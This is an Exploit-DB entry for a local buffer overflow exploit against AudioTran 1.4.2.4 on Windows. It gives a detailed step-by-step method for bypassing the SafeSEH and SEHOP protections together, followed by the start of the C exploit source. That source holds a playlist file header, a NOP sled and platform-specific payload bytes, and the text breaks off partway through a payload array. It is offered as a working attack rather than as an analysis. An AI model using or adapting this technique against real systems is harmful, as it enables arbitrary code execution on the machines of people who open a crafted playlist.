Exploit-DB #15184
Description: AudioTran 1.4.2.4 - SafeSEH + SEHOP
Type: local
Platform: windows
Date: 2010-10-02
Author: x90c

Exploit:
/*
# Exploit Title: AudioTran SafeSEH+SEHOP all-at-once attack method exploit
# Date: 2010.10.1
# Author: x90c
# Version: 1.4.2.4
# Tested on:
#    - MS Win xp sp3 pro ko ( SafeSEH )
#    - MS Win xp sp3 pro en ( SafeSEH )
#    - MS Win Vista ultimate sp0 ko ( SafeSEH )
#    - MS Win Vista ultimate sp1 ko ( SafeSEH + SEHOP enabled )
# CVE :
*/

/*
  //--
  AudioTran 1.4.2.4 SafeSEH+SEHOP *all at once* SEH attack method exploit 
  ( 
    SafeSEH+SEHOP all at once bypass attack, 
    no 'pop pop ret' and 'xor pop pop ret' techniques 
  )
  //--

  Description:
    I made a new attack techinque to exploit SafeSEH+SEHOP protection all at once after research SEH.
    And I applied the new method on AudioTran vulnerability for case by case exploit.
  
  David Litchfield Published 
    'Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server.' 
    Technical paper on 2003 ( SafeSEH bypass techniques ).
    - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
  
  SYSDREAM Published 'Bypassing SEHOP' article:
    - http://www.sysdream.com/articles/sehop_en.pdf

  This new all-at-once SEH attack techinque applied to bypassing the SafeSEH+SEHOP protection:
    Vista sp1, Win 7, Win Server 2008, Win Server 2008 R2 supports SEHOP Protection.
    And Only under Win 2008 Servers it enables by deafult. so I manualy enables SEHOP
    On vista sp1 by using fixitup tool which below link contains. then applied my new technique.
    - http://support.microsoft.com/kb/956607
  
  Referenced exploits:
    SafeSEH/DEP bypass exploit: Muhamad Fadzil Ramli
    exploit for XP SP3 ( David Litchfield's SafeSEH bypass, ROP to bypass DEP )
    - http://www.exploit-db.com/exploits/15047/
  
    Credit/exploit: Abhishek Lyall
    exploit for XP SP2 ( SEH overwrite )
    - http://www.exploit-db.com/exploits/14961/ ( Abhishek Lyall )

  Tested Platforms:
    - MS Win xp sp3 pro ko ( SafeSEH )
    - MS Win xp sp3 pro en ( SafeSEH )
    - MS Win Vista ultimate sp0 ko ( SafeSEH )
    - MS Win Vista ultimate sp1 ko ( SafeSEH + SEHOP enabled )

  Screenshots:
    - http://www.x90c.org/All_at_Once_SEH_attack/win xp sp3_pro_en_SafeSEH.png
    - http://www.x90c.org/All_at_Once_SEH_attack/win xp sp3_pro_ko_SafeSEH.png
    - http://www.x90c.org/All_at_Once_SEH_attack/win vista sp0 Ultimate_ko_SafeSEH.png
    - http://www.x90c.org/All_at_Once_SEH_attack/win vista sp1 Ultimate_ko_SafeSEH_SEHOP_bypass.png

  Presentation URL: http://www.x90c.org/SEH all-at-once attack.pdf
  exploit URL: http://www.x90c.org/All_at_Once_SEH_attack/audiotran_safeseh_sehop_exploit(SEH_all-at-once_attack).c.txt

  p.s: This vulnerability doesn't needed any SEH attack, because it works like 
       A classical stackoveflow. anyway I used it for applying a new technique.
       
       After research and writing this exploit without the litchfield method,
       I found originaly similar SafeSEH bypass method(registered exception handler approach) 
       Introduced in the above David Litchfield's Technical Paper. 
       The litchfield method applies only for SafeSEH bypass. 
       My attack method can applys SafeSEH+SEHOP bypass *all at once*.

  ******* SafeSEH+SEHOP all at once attack method *******:
  [1] Looking for *_SafeSEH_allowed_modules!_except_handler3.
  [2] overwrite SEH E_R struct as below.

        |E_R *Next | Exception Handler | an base address of Image area |  index to user-defined handler |
        -------------------------------------------------------------------------------------------------
        |orig *Next| *!_except_handler3| calculated value 1(ind_useh1) | calculated value 2(ind_useh2)  |
    
    - ind_useh1 is a base address of The vulnerable application's Image area for callling user-defined
      SEH Exception Handler. And ind_useh2 is the '__try{}' area count from zero(0)...
      If '__try{ __try{' then the [ebp-4] (ind_useh2) is 1. '__try{ __try{ __ try{' (ind_useh2) is 2.

    - the two values ind_useh1, ind_useh2 will calculated for a user-defined exception handler address
      For each '__try{'. *allowed_modules!_except_handler3(compiler generated handler) which calls 
      User-defined handler. as you may know, attacker can control those two values and make 
      A indirect call to shellcode.

    - SafeSEH(ExceptionHandler Validation) allows allowed *Modules!_except_handler3 
      Then it bypassed. newer *all-at-once attack is some different than David Litchfield's Approach.

      SEHOP doesn't allow overwriting the value '\xeb\x06 ( jmp short $+6 )' to E_R struct *Next.
      If overwrited by other value than original E_R *next. than ChainValidation failed.
      My attack method doesn't changes the original *next value. and SEHOP(Chain validation) bypassed. 
      _except_handler3 changed to _except_handler4 Under SEHOP applied platforms. but still exists 
      _except_handler3 on some modules and other same codes like MSVBVM60!CreateIExprSrvObj+??. ( x90c )

    - On some cases ind_useh1, ind_useh2 locations are changed as this AudioTran SEH.
      But it doesn't matter to exploit.
	  
        ( AudioTran SEH )
	|E_R *Next| ExceptionHandler | ind_useh2 | ind_useh1 |

  [3] seizes the values ind_useh1 and ind_useh2 for making a indirect callling to shellcode.

  --
  x90c ( KyongJoo, Jung ) of INetCop(c) Security.
  Personal homepage: http://www.x90c.org
  E-mail: geinblues@gmail.com
  --

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char pls_head[] = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0D\x0A\x46\x69\x6C\x65\x31\x3D";
                        
// -- payload chunks for each platforms.
char pre_nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char xp_sp3_pre[] = "\x76\xe6\x12\x00"; // &next 4 ( 0012e676 ) -------+
char vista_sp0_pre[] = { // +0x64 stored address will called.          |
"\x90\x90